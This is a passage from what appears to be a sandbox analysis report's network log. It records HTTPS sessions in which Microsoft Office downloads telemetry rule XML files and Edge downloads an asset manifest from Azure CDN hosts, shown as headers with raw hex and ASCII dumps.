2024-10-27 16:54:35 UTC	16384	IN	Data Raw: 66 82 7d 26 60 5e 84 ec 72 2a af 39 49 bb 12 c2 0a 6a 68 a1 f1 aa 3c 93 f9 79 13 0e 49 bb 81 dd 8c 7e 5d 19 6b 54 60 33 c1 1e 70 56 49 bc df 84 ed 14 a3 5d 07 06 25 84 6a 95 02 e0 49 bd eb 48 24 83 1e f1 e0 29 fe 9e e6 22 da 07 49 c1 2d 65 e8 79 f6 32 c8 9b 5b 3f 1a a8 9d b9 49 c4 33 af 97 7a e9 a1 ba ed 12 d0 a3 40 1e 42 49 c5 09 f1 9f 2c bb 61 75 14 cf 80 9c 0e 85 9e 49 c8 81 16 cb ae 60 54 25 eb 75 fe e4 b5 16 8c 49 cc 62 7c 10 80 46 f7 71 86 18 7b bd ea 45 5f 49 cd ad e9 e7 ee e9 a2 7e 24 2e 10 93 70 b0 ad 49 d1 bc ac 01 05 b1 9b be b4 f8 4e e6 0c 0d ac 49 d2 4b be 25 0a bd 70 d0 f7 10 c2 d7 38 8b f2 49 d4 c5 71 4c 7f 7a 2a 83 c3 c3 50 d2 c2 4c 3e 49 d5 40 eb ee b7 40 f4 16 fe b4 e7 35 d0 25 e3 49 d6 e7 89 68 04 ba a1 f5 37 3f 51 0a 5e cc 25 49 da b4 Data Ascii: f}&`^r9Ijh<yI~]kT`3pVI]%jIH$)"I-ey2[?I3z@BI,auI`T%uIb\|Fq{E_I~$.pINIK%p8IqLzPL>I@@5%Ih7?Q^%I

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:34 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:35 UTC	584	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:34 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 41937e91-c01e-008e-5d57-277381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165434Z-16849878b78p8hrf1se7fucxk800000004t00000000008fu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-27 16:54:35 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	49868	13.107.246.57	443	7536	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:34 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-27 16:54:35 UTC	564	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:35 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 7344f907-e01e-0000-2090-286807000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241027T165434Z-15b8d89586f2hk28h0h6zye26c0000000670000000008k79 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-27 16:54:35 UTC	15820	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-10-27 16:54:35 UTC	16384	IN	Data Raw: 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c 87 07 e7 d4 da 16 34 27 65 eb d7 87 be Data Ascii: h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp4'e
2024-10-27 16:54:35 UTC	16384	IN	Data Raw: 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d d9 e8 78 24 ab 24 51 69 66 82 d7 44 e8 Data Ascii: &O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-x$$QifD
2024-10-27 16:54:35 UTC	16384	IN	Data Raw: 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 6e 30 91 49 05 4e 42 60 22 53 9e 67 6f Data Ascii: jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM*]z_]y]DZgtc>qDX\\M,SqPn0INB`"Sgo
2024-10-27 16:54:35 UTC	16384	IN	Data Raw: ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e 6f 2b 5e 74 f2 ea 6e 17 ed 6d 37 04 2d Data Ascii: k/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.Vo+^tnm7-
2024-10-27 16:54:36 UTC	16384	IN	Data Raw: 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 4e 60 6b e1 20 c2 ba 99 b8 6d 1e 51 d5 Data Ascii: M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\N`k mQ
2024-10-27 16:54:36 UTC	16384	IN	Data Raw: 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 45 bf 50 93 bc bc 7d c3 e9 75 22 5d 68 Data Ascii: m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>JcEP}u"]h
2024-10-27 16:54:36 UTC	16384	IN	Data Raw: ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 c6 95 ea 57 bd 73 50 18 1d 54 fb 07 d5 Data Ascii: XdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{OWsPT
2024-10-27 16:54:36 UTC	16384	IN	Data Raw: 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 65 5d 3f 2f 1b ab ff 79 9a 2b b3 79 5d Data Ascii: ;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@e]?/y+y]
2024-10-27 16:54:36 UTC	16384	IN	Data Raw: 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 cb e9 d4 75 42 52 43 29 e8 e5 94 bf 82 Data Ascii: P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>uBRC)

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:34 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:35 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:34 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: f473ee8a-401e-00ac-6cf0-260a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165434Z-16849878b786fl7gm2qg4r5y70000000044g000000004w7s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:35 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:34 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:35 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:34 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: fb8efb24-701e-0050-0ba3-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165434Z-16849878b78fhxrnedubv5byks000000020000000000mes0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:35 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:34 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:35 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:34 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c2e82b32-d01e-005a-2b27-267fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165434Z-17c5cb586f6wmhkn5q6fu8c5ss000000037g000000001mcd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:35 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:34 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:35 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:35 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 0243abe0-001e-0028-29fb-25c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165435Z-16849878b786jv8w2kpaf5zkqs00000002s0000000004fgd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
